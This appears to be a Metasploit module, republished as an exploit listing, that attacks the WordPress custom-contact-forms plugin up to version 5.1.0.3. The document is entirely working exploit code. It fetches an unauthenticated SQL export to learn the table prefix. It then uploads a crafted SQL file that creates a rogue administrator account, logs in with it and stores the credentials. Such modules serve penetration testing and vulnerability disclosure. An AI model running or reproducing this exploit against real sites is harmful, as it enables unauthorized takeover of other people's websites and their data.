WordPress Custom-contact-forms Plugin SQL Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',  
'Description' => %q{  
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download  
a SQL dump of the plugins database tables. It's also possible to upload files containing  
SQL statements which will be executed. The module first tries to extract the WordPress  
table prefix from the dump and then attempts to create a new admin user.  
},  
'Author' => [  
'Marc-Alexandre Montpas', # Vulnerability discovery  
'Christian Mehlmauer' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ],  
[ 'URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ],  
[ 'WPVDB', '7542' ]  
],  
'DisclosureDate' => '2014-08-07'  
)  
)  
end  
  
def get_sql(table_prefix, username, password)  
# create user  
sql = "INSERT INTO #{table_prefix}users (user_login, user_pass) VALUES ('#{username}','#{Rex::Text.md5(password)}');"  
# make user administrator  
sql << "INSERT INTO #{table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{table_prefix}users where user_login='#{username}'),'#{table_prefix}capabilities','a:1:{s:13:\"administrator\";b:1;}'),((select id from #{table_prefix}users where user_login='#{username}'),'#{table_prefix}user_level','10');"  
  
sql  
end  
  
def get_table_prefix  
res = send_request_cgi({  
'uri' => wordpress_url_admin_post,  
'method' => 'POST',  
'vars_post' => {  
'ccf_export' => '1'  
}  
})  
return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/  
  
file = res.headers['Location']  
res_file = send_request_cgi('uri' => file)  
return nil if res_file.nil? || res_file.code != 200 || res_file.body.nil?  
  
match = res_file.body.match(/insert into `(.+_)customcontactforms_fields`/i)  
return nil if match.nil? || match.length < 2  
  
table_prefix = match[1]  
table_prefix  
end  
  
def run  
username = Rex::Text.rand_text_alpha(10)  
password = Rex::Text.rand_text_alpha(20)  
  
print_status('Trying to get table_prefix')  
table_prefix = get_table_prefix  
if table_prefix.nil?  
print_error('Unable to get table_prefix')  
return  
else  
print_status("got table_prefix '#{table_prefix}'")  
end  
  
data = Rex::MIME::Message.new  
data.add_part(get_sql(table_prefix, username, password), 'text/plain', nil, "form-data; name=\"import_file\"; filename=\"#{Rex::Text.rand_text_alpha(5)}.sql\"")  
data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"')  
post_data = data.to_s  
  
print_status("Inserting user #{username} with password #{password}")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => wordpress_url_admin_post,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
)  
  
if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'  
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")  
end  
  
# test login  
cookie = wordpress_login(username, password)  
  
# login successful  
if cookie  
print_good("User #{username} with password #{password} successfully created")  
store_valid_credential(user: username, private: password, proof: cookie)  
else  
print_error('User creation failed')  
return  
end  
end  
end  
`